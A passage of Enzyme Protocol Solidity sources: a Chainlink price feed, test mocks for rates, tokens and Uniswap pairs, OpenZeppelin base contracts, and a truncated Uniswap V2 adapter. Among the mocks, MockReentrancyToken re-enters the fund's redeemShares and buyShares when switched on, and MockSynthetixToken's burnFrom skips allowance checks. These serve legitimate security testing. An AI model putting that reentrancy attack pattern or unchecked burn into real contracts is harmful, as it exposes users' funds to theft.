address indexed primitive,
address prevAggregator,
address nextAggregator
);
event StalePrimitiveRemoved(address indexed primitive);
event StaleRateThresholdSet(uint256 prevStaleRateThreshold, uint256 nextStaleRateThreshold);
enum RateAsset {ETH, USD}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
uint256 private constant ETH_UNIT = 10**18;
address private immutable WETH_TOKEN;
address private ethUsdAggregator;
uint256 private staleRateThreshold;
mapping(address => AggregatorInfo) private primitiveToAggregatorInfo;
mapping(address => uint256) private primitiveToUnit;
constructor(
address _dispatcher,
address _wethToken,
address _ethUsdAggregator,
address[] memory _primitives,
address[] memory _aggregators,
RateAsset[] memory _rateAssets
) public DispatcherOwnerMixin(_dispatcher) {
WETH_TOKEN = _wethToken;
staleRateThreshold = 25 hours; // 24 hour heartbeat + 1hr buffer
__setEthUsdAggregator(_ethUsdAggregator);
if (_primitives.length > 0) {
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
}
// EXTERNAL FUNCTIONS
/// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
/// @return isValid_ True if the rates used in calculations are deemed valid
function calcCanonicalValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) public view override returns (uint256 quoteAssetAmount_, bool isValid_) {
// Case where _baseAsset == _quoteAsset is handled by ValueInterpreter
int256 baseAssetRate = __getLatestRateData(_baseAsset);
if (baseAssetRate <= 0) {
return (0, false);
}
int256 quoteAssetRate = __getLatestRateData(_quoteAsset);
if (quoteAssetRate <= 0) {
return (0, false);
}
(quoteAssetAmount_, isValid_) = __calcConversionAmount(
_baseAsset,
_baseAssetAmount,
uint256(baseAssetRate),
_quoteAsset,
uint256(quoteAssetRate)
);
return (quoteAssetAmount_, isValid_);
}
/// @notice Calculates the value of a base asset in terms of a quote asset (using a live rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
/// @return isValid_ True if the rates used in calculations are deemed valid
/// @dev Live and canonical values are the same for Chainlink
function calcLiveValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) external view override returns (uint256 quoteAssetAmount_, bool isValid_) {
return calcCanonicalValue(_baseAsset, _baseAssetAmount, _quoteAsset);
}
/// @notice Checks whether an asset is a supported primitive of the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return _asset == WETH_TOKEN || primitiveToAggregatorInfo[_asset].aggregator != address(0);
}
/// @notice Sets the `ehUsdAggregator` variable value
/// @param _nextEthUsdAggregator The `ehUsdAggregator` value to set
function setEthUsdAggregator(address _nextEthUsdAggregator) external onlyDispatcherOwner {
__setEthUsdAggregator(_nextEthUsdAggregator);
}
// PRIVATE FUNCTIONS
/// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset
function __calcConversionAmount(
address _baseAsset,
uint256 _baseAssetAmount,
uint256 _baseAssetRate,
address _quoteAsset,
uint256 _quoteAssetRate
) private view returns (uint256 quoteAssetAmount_, bool isValid_) {
RateAsset baseAssetRateAsset = getRateAssetForPrimitive(_baseAsset);
RateAsset quoteAssetRateAsset = getRateAssetForPrimitive(_quoteAsset);
uint256 baseAssetUnit = getUnitForPrimitive(_baseAsset);
uint256 quoteAssetUnit = getUnitForPrimitive(_quoteAsset);
// If rates are both in ETH or both in USD
if (baseAssetRateAsset == quoteAssetRateAsset) {
return (
__calcConversionAmountSameRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate
),
true
);
}
int256 ethPerUsdRate = IChainlinkAggregator(ethUsdAggregator).latestAnswer();
if (ethPerUsdRate <= 0) {
return (0, false);
}
// If _baseAsset's rate is in ETH and _quoteAsset's rate is in USD
if (baseAssetRateAsset == RateAsset.ETH) {
return (
__calcConversionAmountEthRateAssetToUsdRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
),
true
);
}
// If _baseAsset's rate is in USD and _quoteAsset's rate is in ETH
return (
__calcConversionAmountUsdRateAssetToEthRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
),
true
);
}
/// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate
function __calcConversionAmountEthRateAssetToUsdRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow.
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_ethPerUsdRate).div(
ETH_UNIT
);
return intermediateStep.mul(_quoteAssetUnit).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates
function __calcConversionAmountSameRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
return
_baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_baseAssetUnit.mul(_quoteAssetRate)
);
}
/// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate
function __calcConversionAmountUsdRateAssetToEthRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_ethPerUsdRate
);
return intermediateStep.mul(ETH_UNIT).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to get the latest rate for a given primitive
function __getLatestRateData(address _primitive) private view returns (int256 rate_) {
if (_primitive == WETH_TOKEN) {
return int256(ETH_UNIT);
}
address aggregator = primitiveToAggregatorInfo[_primitive].aggregator;
require(aggregator != address(0), "__getLatestRateData: Primitive does not exist");
return IChainlinkAggregator(aggregator).latestAnswer();
}
/// @dev Helper to set the `ethUsdAggregator` value
function __setEthUsdAggregator(address _nextEthUsdAggregator) private {
address prevEthUsdAggregator = ethUsdAggregator;
require(
_nextEthUsdAggregator != prevEthUsdAggregator,
"__setEthUsdAggregator: Value already set"
);
__validateAggregator(_nextEthUsdAggregator);
ethUsdAggregator = _nextEthUsdAggregator;
emit EthUsdAggregatorSet(prevEthUsdAggregator, _nextEthUsdAggregator);
}
/////////////////////////
// PRIMITIVES REGISTRY //
/////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyDispatcherOwner {
require(_primitives.length > 0, "addPrimitives: _primitives cannot be empty");
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function removePrimitives(address[] calldata _primitives) external onlyDispatcherOwner {
require(_primitives.length > 0, "removePrimitives: _primitives cannot be empty");
for (uint256 i; i < _primitives.length; i++) {
require(
primitiveToAggregatorInfo[_primitives[i]].aggregator != address(0),
"removePrimitives: Primitive not yet added"
);
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit PrimitiveRemoved(_primitives[i]);
}
}
/// @notice Removes stale primitives from the feed
/// @param _primitives The stale primitives to remove
/// @dev Callable by anybody
function removeStalePrimitives(address[] calldata _primitives) external {
require(_primitives.length > 0, "removeStalePrimitives: _primitives cannot be empty");
for (uint256 i; i < _primitives.length; i++) {
address aggregatorAddress = primitiveToAggregatorInfo[_primitives[i]].aggregator;
require(aggregatorAddress != address(0), "removeStalePrimitives: Invalid primitive");
require(rateIsStale(aggregatorAddress), "removeStalePrimitives: Rate is not stale");
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit StalePrimitiveRemoved(_primitives[i]);
}
}
/// @notice Sets the `staleRateThreshold` variable
/// @param _nextStaleRateThreshold The next `staleRateThreshold` value
function setStaleRateThreshold(uint256 _nextStaleRateThreshold) external onlyDispatcherOwner {
uint256 prevStaleRateThreshold = staleRateThreshold;
require(
_nextStaleRateThreshold != prevStaleRateThreshold,
"__setStaleRateThreshold: Value already set"
);
staleRateThreshold = _nextStaleRateThreshold;
emit StaleRateThresholdSet(prevStaleRateThreshold, _nextStaleRateThreshold);
}
/// @notice Updates the aggregators for given primitives
/// @param _primitives The primitives to update
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
function updatePrimitives(address[] calldata _primitives, address[] calldata _aggregators)
external
onlyDispatcherOwner
{
require(_primitives.length > 0, "updatePrimitives: _primitives cannot be empty");
require(
_primitives.length == _aggregators.length,
"updatePrimitives: Unequal _primitives and _aggregators array lengths"
);
for (uint256 i; i < _primitives.length; i++) {
address prevAggregator = primitiveToAggregatorInfo[_primitives[i]].aggregator;
require(prevAggregator != address(0), "updatePrimitives: Primitive not yet added");
require(_aggregators[i] != prevAggregator, "updatePrimitives: Value already set");
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]].aggregator = _aggregators[i];
emit PrimitiveUpdated(_primitives[i], prevAggregator, _aggregators[i]);
}
}
/// @notice Checks whether the current rate is considered stale for the specified aggregator
/// @param _aggregator The Chainlink aggregator of which to check staleness
/// @return rateIsStale_ True if the rate is considered stale
function rateIsStale(address _aggregator) public view returns (bool rateIsStale_) {
return
IChainlinkAggregator(_aggregator).latestTimestamp() <
block.timestamp.sub(staleRateThreshold);
}
/// @dev Helper to add primitives to the feed
function __addPrimitives(
address[] memory _primitives,
address[] memory _aggregators,
RateAsset[] memory _rateAssets
) private {
require(
_primitives.length == _aggregators.length,
"__addPrimitives: Unequal _primitives and _aggregators array lengths"
);
require(
_primitives.length == _rateAssets.length,
"__addPrimitives: Unequal _primitives and _rateAssets array lengths"
);
for (uint256 i = 0; i < _primitives.length; i++) {
require(
primitiveToAggregatorInfo[_primitives[i]].aggregator == address(0),
"__addPrimitives: Value already set"
);
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
// Store the amount that makes up 1 unit given the asset's decimals
uint256 unit = 10**uint256(ERC20(_primitives[i]).decimals());
primitiveToUnit[_primitives[i]] = unit;
emit PrimitiveAdded(_primitives[i], _aggregators[i], _rateAssets[i], unit);
}
}
/// @dev Helper to validate an aggregator by checking its return values for the expected interface
function __validateAggregator(address _aggregator) private view {
require(_aggregator != address(0), "__validateAggregator: Empty _aggregator");
require(
IChainlinkAggregator(_aggregator).latestAnswer() > 0,
"__validateAggregator: No rate detected"
);
require(!rateIsStale(_aggregator), "__validateAggregator: Stale rate detected");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the aggregatorInfo variable value for a primitive
/// @param _primitive The primitive asset for which to get the aggregatorInfo value
/// @return aggregatorInfo_ The aggregatorInfo value
function getAggregatorInfoForPrimitive(address _primitive)
external
view
returns (AggregatorInfo memory aggregatorInfo_)
{
return primitiveToAggregatorInfo[_primitive];
}
/// @notice Gets the `ethUsdAggregator` variable value
/// @return ethUsdAggregator_ The `ethUsdAggregator` variable value
function getEthUsdAggregator() external view returns (address ethUsdAggregator_) {
return ethUsdAggregator;
}
/// @notice Gets the `staleRateThreshold` variable value
/// @return staleRateThreshold_ The `staleRateThreshold` variable value
function getStaleRateThreshold() external view returns (uint256 staleRateThreshold_) {
return staleRateThreshold;
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
/// @notice Gets the rateAsset variable value for a primitive
/// @return rateAsset_ The rateAsset variable value
/// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus
/// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the
/// behavior more explicit
function getRateAssetForPrimitive(address _primitive)
public
view
returns (RateAsset rateAsset_)
{
if (_primitive == WETH_TOKEN) {
return RateAsset.ETH;
}
return primitiveToAggregatorInfo[_primitive].rateAsset;
}
/// @notice Gets the unit variable value for a primitive
/// @return unit_ The unit variable value
function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) {
if (_primitive == WETH_TOKEN) {
return ETH_UNIT;
}
return primitiveToUnit[_primitive];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../release/infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../release/infrastructure/price-feeds/derivatives/IAggregatedDerivativePriceFeed.sol";
import "../../release/infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
/// @dev This contract acts as a centralized rate provider for mocks.
/// Suited for a dev environment, it doesn't take into account gas costs.
contract CentralizedRateProvider is Ownable {
using SafeMath for uint256;
address private immutable WETH;
uint256 private maxDeviationPerSender;
// Addresses are not immutable to facilitate lazy load (they're are not accessible at the mock env).
address private valueInterpreter;
address private aggregateDerivativePriceFeed;
address private primitivePriceFeed;
constructor(address _weth, uint256 _maxDeviationPerSender) public {
maxDeviationPerSender = _maxDeviationPerSender;
WETH = _weth;
}
/// @dev Calculates the value of a _baseAsset relative to a _quoteAsset.
/// Label to ValueInterprete's calcLiveAssetValue
function calcLiveAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) public returns (uint256 value_) {
uint256 baseDecimalsRate = 10**uint256(ERC20(_baseAsset).decimals());
uint256 quoteDecimalsRate = 10**uint256(ERC20(_quoteAsset).decimals());
// 1. Check if quote asset is a primitive. If it is, use ValueInterpreter normally.
if (IPrimitivePriceFeed(primitivePriceFeed).isSupportedAsset(_quoteAsset)) {
(value_, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_baseAsset,
_amount,
_quoteAsset
);
return value_;
}
// 2. Otherwise, check if base asset is a primitive, and use inverse rate from Value Interpreter.
if (IPrimitivePriceFeed(primitivePriceFeed).isSupportedAsset(_baseAsset)) {
(uint256 inverseRate, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_quoteAsset,
10**uint256(ERC20(_quoteAsset).decimals()),
_baseAsset
);
uint256 rate = uint256(baseDecimalsRate).mul(quoteDecimalsRate).div(inverseRate);
value_ = _amount.mul(rate).div(baseDecimalsRate);
return value_;
}
// 3. If both assets are derivatives, calculate the rate against ETH.
(uint256 baseToWeth, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_baseAsset,
baseDecimalsRate,
WETH
);
(uint256 quoteToWeth, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_quoteAsset,
quoteDecimalsRate,
WETH
);
value_ = _amount.mul(baseToWeth).mul(quoteDecimalsRate).div(quoteToWeth).div(
baseDecimalsRate
);
return value_;
}
/// @dev Calculates a randomized live value of an asset
/// Aggregation of two randomization seeds: msg.sender, and by block.number.
function calcLiveAssetValueRandomized(
address _baseAsset,
uint256 _amount,
address _quoteAsset,
uint256 _maxDeviationPerBlock
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
// Range [liveAssetValue * (1 - _blockNumberDeviation), liveAssetValue * (1 + _blockNumberDeviation)]
uint256 senderRandomizedValue_ = __calcValueRandomizedByAddress(
liveAssetValue,
msg.sender,
maxDeviationPerSender
);
// Range [liveAssetValue * (1 - _maxDeviationPerBlock - maxDeviationPerSender), liveAssetValue * (1 + _maxDeviationPerBlock + maxDeviationPerSender)]
value_ = __calcValueRandomizedByUint(
senderRandomizedValue_,
block.number,
_maxDeviationPerBlock
);
return value_;
}
/// @dev Calculates the live value of an asset including a grade of pseudo randomization, using msg.sender as the source of randomness
function calcLiveAssetValueRandomizedByBlockNumber(
address _baseAsset,
uint256 _amount,
address _quoteAsset,
uint256 _maxDeviationPerBlock
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
value_ = __calcValueRandomizedByUint(liveAssetValue, block.number, _maxDeviationPerBlock);
return value_;
}
/// @dev Calculates the live value of an asset including a grade of pseudo-randomization, using `block.number` as the source of randomness
function calcLiveAssetValueRandomizedBySender(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
value_ = __calcValueRandomizedByAddress(liveAssetValue, msg.sender, maxDeviationPerSender);
return value_;
}
function setMaxDeviationPerSender(uint256 _maxDeviationPerSender) external onlyOwner {
maxDeviationPerSender = _maxDeviationPerSender;
}
/// @dev Connector from release environment, inject price variables into the provider.
function setReleasePriceAddresses(
address _valueInterpreter,
address _aggregateDerivativePriceFeed,
address _primitivePriceFeed
) external onlyOwner {
valueInterpreter = _valueInterpreter;
aggregateDerivativePriceFeed = _aggregateDerivativePriceFeed;
primitivePriceFeed = _primitivePriceFeed;
}
// PRIVATE FUNCTIONS
/// @dev Calculates a a pseudo-randomized value as a seed an address
function __calcValueRandomizedByAddress(
uint256 _meanValue,
address _seed,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
// Value between [0, 100]
uint256 senderRandomFactor = uint256(uint8(_seed))
.mul(100)
.div(256)
.mul(_maxDeviation)
.div(100);
value_ = __calcDeviatedValue(_meanValue, senderRandomFactor, _maxDeviation);
return value_;
}
/// @dev Calculates a a pseudo-randomized value as a seed an uint256
function __calcValueRandomizedByUint(
uint256 _meanValue,
uint256 _seed,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
// Depending on the _seed number, it will be one of {20, 40, 60, 80, 100}
uint256 randomFactor = (_seed.mod(2).mul(20))
.add((_seed.mod(3).mul(40)))
.mul(_maxDeviation)
.div(100);
value_ = __calcDeviatedValue(_meanValue, randomFactor, _maxDeviation);
return value_;
}
/// @dev Given a mean value and a max deviation, returns a value in the spectrum between 0 (_meanValue - maxDeviation) and 100 (_mean + maxDeviation)
/// TODO: Refactor to use 18 decimal precision
function __calcDeviatedValue(
uint256 _meanValue,
uint256 _offset,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
return
_meanValue.add((_meanValue.mul((uint256(2)).mul(_offset)).div(uint256(100)))).sub(
_meanValue.mul(_maxDeviation).div(uint256(100))
);
}
///////////////////
// STATE GETTERS //
///////////////////
function getMaxDeviationPerSender() public view returns (uint256 maxDeviationPerSender_) {
return maxDeviationPerSender;
}
function getValueInterpreter() public view returns (address valueInterpreter_) {
return valueInterpreter;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/interfaces/IUniswapV2Pair.sol";
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockToken.sol";
/// @dev This price source mocks the integration with Uniswap Pair
/// Docs of Uniswap Pair implementation: <https://uniswap.org/docs/v2/smart-contracts/pair/>
contract MockUniswapV2PriceSource is MockToken("Uniswap V2", "UNI-V2", 18) {
using SafeMath for uint256;
address private immutable TOKEN_0;
address private immutable TOKEN_1;
address private immutable CENTRALIZED_RATE_PROVIDER;
constructor(
address _centralizedRateProvider,
address _token0,
address _token1
) public {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
TOKEN_0 = _token0;
TOKEN_1 = _token1;
}
/// @dev returns reserves for each token on the Uniswap Pair
/// Reserves will be used to calculate the pair price
/// Inherited from IUniswapV2Pair
function getReserves()
external
returns (
uint112 reserve0_,
uint112 reserve1_,
uint32 blockTimestampLast_
)
{
uint256 baseAmount = ERC20(TOKEN_0).balanceOf(address(this));
reserve0_ = uint112(baseAmount);
reserve1_ = uint112(
CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
TOKEN_0,
baseAmount,
TOKEN_1
)
);
return (reserve0_, reserve1_, blockTimestampLast_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev Inherited from IUniswapV2Pair
function token0() public view returns (address) {
return TOKEN_0;
}
/// @dev Inherited from IUniswapV2Pair
function token1() public view returns (address) {
return TOKEN_1;
}
/// @dev Inherited from IUniswapV2Pair
function kLast() public pure returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MockToken is ERC20Burnable, Ownable {
using SafeMath for uint256;
mapping(address => bool) private addressToIsMinter;
modifier onlyMinter() {
require(
addressToIsMinter[msg.sender] || owner() == msg.sender,
"msg.sender is not owner or minter"
);
_;
}
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
_mint(msg.sender, uint256(100000000).mul(10**uint256(_decimals)));
}
function mintFor(address _who, uint256 _amount) external onlyMinter {
_mint(_who, _amount);
}
function mint(uint256 _amount) external onlyMinter {
_mint(msg.sender, _amount);
}
function addMinters(address[] memory _minters) public onlyOwner {
for (uint256 i = 0; i < _minters.length; i++) {
addressToIsMinter[_minters[i]] = true;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../release/core/fund/comptroller/ComptrollerLib.sol";
import "./MockToken.sol";
/// @title MockReentrancyToken Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mock ERC20 token implementation that is able to re-entrance redeemShares and buyShares functions
contract MockReentrancyToken is MockToken("Mock Reentrancy Token", "MRT", 18) {
bool public bad;
address public comptrollerProxy;
function makeItReentracyToken(address _comptrollerProxy) external {
bad = true;
comptrollerProxy = _comptrollerProxy;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if (bad) {
ComptrollerLib(comptrollerProxy).redeemShares();
} else {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
if (bad) {
ComptrollerLib(comptrollerProxy).buyShares(
new address[](0),
new uint256[](0),
new uint256[](0)
);
} else {
_transfer(sender, recipient, amount);
}
return true;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./../../release/interfaces/ISynthetixProxyERC20.sol";
import "./../../release/interfaces/ISynthetixSynth.sol";
import "./MockToken.sol";
contract MockSynthetixToken is ISynthetixProxyERC20, ISynthetixSynth, MockToken {
using SafeMath for uint256;
bytes32 public override currencyKey;
uint256 public constant WAITING_PERIOD_SECS = 3 * 60;
mapping(address => uint256) public timelockByAccount;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
bytes32 _currencyKey
) public MockToken(_name, _symbol, _decimals) {
currencyKey = _currencyKey;
}
function setCurrencyKey(bytes32 _currencyKey) external onlyOwner {
currencyKey = _currencyKey;
}
function _isLocked(address account) internal view returns (bool) {
return timelockByAccount[account] >= now;
}
function _beforeTokenTransfer(
address from,
address,
uint256
) internal override {
require(!_isLocked(from), "Cannot settle during waiting period");
}
function target() external view override returns (address) {
return address(this);
}
function isLocked(address account) external view returns (bool) {
return _isLocked(account);
}
function burnFrom(address account, uint256 amount) public override {
_burn(account, amount);
}
function lock(address account) public {
timelockByAccount[account] = now.add(WAITING_PERIOD_SECS);
}
function unlock(address account) public {
timelockByAccount[account] = 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IUniswapV2Factory.sol";
import "../../../../interfaces/IUniswapV2Router2.sol";
import "../utils/AdapterBase.sol";
/// @title UniswapV2Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Uniswap v2
contract UniswapV2Adapter is AdapterBase {
using SafeMath for uint256;
address private immutable FACTORY;
address private immutable ROUTER;
constructor(
address _integrationManager,
address _router,
address _factory
) public AdapterBase(_integrationManager) {
FACTORY = _factory;
ROUTER = _router;
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "UNISWAP_V2";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(
address[2] memory outgoingAssets,
uint256[2] memory maxOutgoingAssetAmounts,
,
uint256 minIncomingAssetAmount
) = __decodeLendCallArgs(_encodedCallArgs);
spendAssets_ = new address[](2);
spendAssets_[0] = outgoingAssets[0];
spendAssets_[1] = outgoingAssets[1];
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = maxOutgoingAssetAmounts[0];
spendAssetAmounts_[1] = maxOutgoingAssetAmounts[1];
incomingAssets_ = new address[](1);
// No need to validate not address(0), this will be caught in IntegrationManager
